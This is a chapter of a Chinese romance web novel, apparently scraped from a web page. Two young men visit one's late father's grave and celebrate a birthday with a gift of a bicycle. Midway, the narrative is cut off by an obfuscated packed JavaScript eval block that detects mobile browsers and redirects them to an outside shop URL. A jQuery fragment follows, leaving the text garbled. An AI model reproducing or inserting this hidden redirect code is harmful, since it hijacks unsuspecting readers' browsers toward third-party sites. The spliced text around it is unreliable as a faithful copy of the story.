周五就是后天，桑群病还没好，周四阮牧年带他去打了针，好歹退烧了，就是嗓子和脑袋还有些不舒服。
“真的要去吗？”一大早起来，阮牧年就在问他，“今天温度又下降了，外面很冷。”
“去，”桑群肯定地说，“帮我把那件帽子带绒毛的羽绒服拿出来。”
阮牧年翻起他的衣柜：“在哪儿啊，哦，找到了，咦？”
他拿出一条围巾：“这个好眼熟啊……跟你送我那条是不是同款？”
“咳，”桑群别过眼，“是失败品，已经编到一半了，扔了可惜，就编完给自己用了。”
“太好了，我们戴这个出门吧，”阮牧年把羽绒服和围巾一块拿过来，“没想到你做手工还会有失败的时候啊。”
“我又不是全能高手。”
“我觉得你是啦。”
阮牧年这两天已经完全适应了贴身保姆这个职位，熟练地给桑群套衣服，拉拉链，围上暖和的围巾。
其实桑群的手已经不酸了，但……阮牧年难得想要照顾他，他没理由拒绝。
都戴上所谓的同款围巾，阮牧年还打算收拾一个背包带走，被桑群制止了，最后只提了两个水壶出门。
路上，阮牧年问：“不用买花吗？”
桑群：“不用。”
阮牧年纠结：“就空手过去，不合适吧？或者带点什么吃的喝的……嗷，要不要买瓶白酒，我看他们都是带酒和空杯子过去敬一下……”
桑群：“……他不喝酒。”
“那还是……”
“安心，”桑群抓住他的手，“我又不是一个人去的。”
“……嗷。”
桑群虽然不是一个人来的，却是第一次来，在工作亭里问了半天路，才敢往里面走。
冬季的清晨，路过的风透骨的冷，无云的天穹清浅辽远，墓园所在的山坡上，一排排石碑整齐地竖立在那里。
他们来得早，园里基本没什么人，抬步踏上一层层台阶，越深入氛围越肃穆。
连习惯缓和气氛的阮牧年也没开口打破这份安静，在这里，沉默就是最好的敬畏。
桑群数着碑位，一阶一阶，一座一座，终于来到了目的地。
他垂下眼，石碑上黑白的照片有些陌生，桑远隔着照片看着他，笑得温柔。
阮牧年跟在他身后站定。
桑叔叔还是记忆里亲和的样子，不知道桑群只是想来缅怀一会儿，还是想跟他说说话，他只能先沉默地等着。
许久，桑群开了口，嗓音在风里飘得很远：“好久不见。”
阮牧年连忙在后面补充：“叔叔，桑群和我来看你啦。”
“嗯，”桑群说，“十年不见，我跟你只差不到十岁了。”
阮牧年解释：“他的意思是，我们已经长大了不少，请您放心。”
桑群：“我妈一点也不想你。”
阮牧年：“……阿姨也过得很好。”
桑群：“你这照片怎么跟大学生似的，好嫩。”
阮牧年：“……您这张照片挑得好，显年轻。”
桑群：“没有你，我们过得更好了，那些债今年就能还完。”
阮牧年：“……大家都过得很好，但还是很想念您。”
桑群：“你其实不用帮我翻译，他当年可是唯一能跟我妈辩得不相上下的人。”
阮牧年：“毕竟要礼貌一点啊。桑群夸您牙尖嘴利……啊不是，伶牙俐齿呢。”
桑群按了按蓬松的围巾，勾着阮牧年的肩膀过来：“看见了吗，这是长大以后的年年。你当初还夸他懂事乖巧是个好孩子，如你所愿，我把他拐回家当男朋友了。”
“诶？”阮牧年脸登时红了，“这种事怎么可以……”
“别羡慕，”桑群勾着他没放手，“这是你抛下我们应得的。”
“桑群……”
“这么多年没来看过你，不好意思，”桑群话锋一转，“但想想你留了那么多疑团给我们，自己却无事一身轻，又没那么抱歉了。”
阮牧年已经无力回天：“桑群他绝对不是在怨您……”
“我就是在怨你，”桑群说，“我妈已经在想方设法怎么破解你留下的东西了，麻烦得很，不折腾个几年得不出结果。桑远，谜语人是世界上最讨厌最讨厌的人，不能开口说话的人也是，我……”
说到这里他顿了顿，坡上寒冷的山风穿林过碑，垂下的围巾随风扬起。
“我还是讨厌你，”桑群轻声说，“但我……们，也很想你。”
照片上的人依旧笑得温柔，十年来积攒的诸多爱恨便落在了这寥寥数语的字句间。
虽然开场白不是很和谐，最后好歹说了一句好话，阮牧年勉强放下心来。
从墓园出来，桑群捂在围巾里咳嗽。
“是不是着凉了？”阮牧年担忧地去摸他额头，“高烧退后一般还会再感冒几天，要不要喝水？”
桑群点头，接过水喝了几口，问：“中午去外面吃饭吧，好不好？”
“好，但不能吃太上火的，”阮牧年拎好水壶，另一只手牵着他，“素菜馆怎么样？”
桑群臭着脸看他。
“怎么脸拉这么长，”阮牧年捏了捏他的手，“那……家常菜吧。”
桑群轻哼：“这还差不多。”
打车到商业街，热闹的氛围让人体验了一把年前的喧闹，阮牧年翻着大众点评：“有什么特别想吃的菜吗？”
桑群看着街角发呆。
“桑桑？”阮牧年捣了捣他，“你有听我说话吗？”
“嗯？”桑群回过神，“去那家吧，我以前好像吃过。”
是不远处的一个饭馆，看着还算干净，阮牧年点头：“行。”
等菜的间隙，桑群问他：“你今天就只打算带我出门吃顿饭吗？”
“怎么，”阮牧年笑了笑，“你还在生病啊，能有什么行程？”
桑群摘了围巾，撑着脑袋嘀咕：“……没滋没味的。”
“晚点看会不会暖和一些吧，”阮牧年轻轻跟他撞了一下肩膀，“你昨晚是不是没睡好？早上还起这么早，待会儿回去午睡一会儿。”
“管得好宽，年年大妈。”
“怎么说话的呢？叫哥哥。”
“略。”
阮牧年愣了一下：“你……”
“干什么，”桑群瞥了他一眼，“人不应该越活越年轻吗？”
话虽如此，可吐舌头耍赖什么的，桑群四岁的时候就不会这么做了，阮牧年看着他问：“你不应该十八了吗，怎么还干幼儿园小朋友才会干的事。”
“谁十八了？”桑群手肘撑在桌上，歪着脑袋看他，“阮不年，今天我才是你哥。”
“啊，”阮不年痛失真名，摸了摸鼻子，“好吧。阿君羊哥哥，有什么吩咐？”
“去调碟酱过来。”
“收到！”
吃过饭，推着桑群回家睡觉，阮牧年借口倒垃圾偷偷出门，又偷偷摸回来，若无其事地爬上床睡觉。
拉上窗帘的午后时光昏暗又惬意，暖烘烘的被窝里，手脚相缠拥挤地睡着，除了醒来可能会麻没有任何缺点。
枕头底下的闹钟震动起来的时候，两个人都不太想起来。
阮牧年揉了揉眼睛，掐掉闹钟后翻身抱住桑群，拍着他低声：“桑桑……该起床了……”
“嗯……”
桑群不情不愿地应了一声，他一旦入眠就容易嗜睡，往阮牧年怀里蹭了蹭，又不动了。
比冬天早上更难爬起来的是午觉的被窝，阮牧年用了极大的毅力，才强迫自己清醒过来：“起床了起床了，桑——群——”
桑群皱眉一把给他推开，翻了个身。
真吵。
阮牧年拱上来黏他，手伸到他腰侧挠痒痒：“起来起来起来——”
桑群抓着枕头把自己埋下去：“你好吵……”
阮牧年爬到他身上，用头发钻他脖子：“桑桑桑桑桑桑——”
烦死了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356350|199683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，桑群翻回来，仰面躺着瞪他：“别吵了！”
阮牧年嘻嘻笑着，低头在他鼻尖亲了一下：“起来啦，好棒。”
桑群瞪着他生闷气，本来有一肚子起床气，结果被对方亲了一下，又无处宣泄了。
“走吧走吧，”阮牧年跪坐在床边拉他，“你想就这么把今天睡过去吗？太浪费了。”
桑群揉着脑袋起床，浑身郁闷：“不是说没行程么……”
走到客厅，他愣了一下，还以为自己眼花了，揉了揉眼睛。
没花。
阳台边停着一辆陌生的自行车，车座精致造型流畅，铝制框架黑色涂层，角落有几条浅绿色花纹。
车子是平把，手铃边系着一条红绸带，阮牧年从他身后晃过来：“哇，哪儿来的车？”
他扶起绸带，上面写了字：“恭喜桑群先生喜提爱车……太有实力了桑桑，十八就有车有房，太棒啦。”
桑群看着他发愣：“你……”
“不来摸一下吗，车主？”阮牧年站在车边，冲他笑得灿烂。
桑群走上前，脑子还有些昏，是做梦没醒吗，梦得这么大？
手放在座位上，材质很舒服，车杆也是全新的，并且没有异味，毫无疑问这是一辆全新的公路自行车。
他看向阮牧年，张了张口想发问。
阮牧年却有先见之明地抢答：“不知道多贵，没看几位数，价格商家自己扫码输入的。”
桑群咽回上一个问题，抛出一个新问题：“你哪儿来的钱？”
糟糕，这个问题忘记准备了，阮牧年卡壳。
桑群皱眉：“你去抢银行了？”
“没有，”阮牧年义正言辞，“我去给犯罪集团打工了。在他们快要成功的时候把情报卖给了警察，最后因为正义行为被警察叔叔追着送高额奖金。”
桑群伸手捏他脸：“说实话。”
阮牧年嘟了嘟下唇：“……我物理竞赛一等奖，拿了5千块。”
跟前面那个离谱的答案比起来，事实竟真实得让人觉得普通平淡。
桑群看了看自行车，又看了看车边的人，没想好该怎么发表获车感言。
阮牧年朝他走了一步，低头跟他碰额头，轻声说：“阿君羊哥哥，生日快乐。”
“谢谢，”桑群伸手抱住他，慢慢地说，“我……很喜欢。自行车非常方便，颜色也好看，可以节省不少等公交或者打车的时间和金钱，嗯，它还……”
“你怎么做起意义题了，”阮牧年失笑，“可以跳过原因，直奔结论。”
“结论就是这辆……自行车非常好，”桑群面无表情地看着他说，“车主很满意，欣喜若狂，心花怒放。”
“啊？”阮牧年看了半天，没看出狂在哪里，放在哪里。
以前阮牧年哪儿敢送超过五十块钱的礼物，被桑群估出来都要按着脑袋带他去退货。桑群实在没有这方面的经验，据说收贵重礼物的人要给送礼人情绪价值，不然容易伤别人的心，他绞尽脑汁地思考自行车的优点。
没辙了，笑一笑吧，桑群冲他拉起嘴角，自认笑得十分标准。
阮牧年吓得闭了眼，双手捂上他的脸颊，把这个笑按没，心有余悸：“你干嘛，不喜欢也不用这样报复我吧。”
算了，他估计在提供情绪价值方面没天赋，桑群又恢复平常的神态，淡淡开口：“没有不喜欢。”
阮牧年又笑了：“那就好。”
嗯？这就被哄好了吗，幸福阈值也太低了，桑群问：“你喊我起来，就是观赏一下吗？”
“那必然不是啊，”阮牧年拉着他拍了拍自行车座，“走，哥哥带你出去兜风！”
“带我？”桑群反问，“不应该是我带你吗？”
“你现在还不能吹风，”阮牧年拿出手机查了查，“下午温度是有些回升，但保险起见，你坐后座比较好。”
桑群怀疑地看他：“你会骑吗？”
“看不起谁呢，”阮牧年大手一挥，“走了，出发！”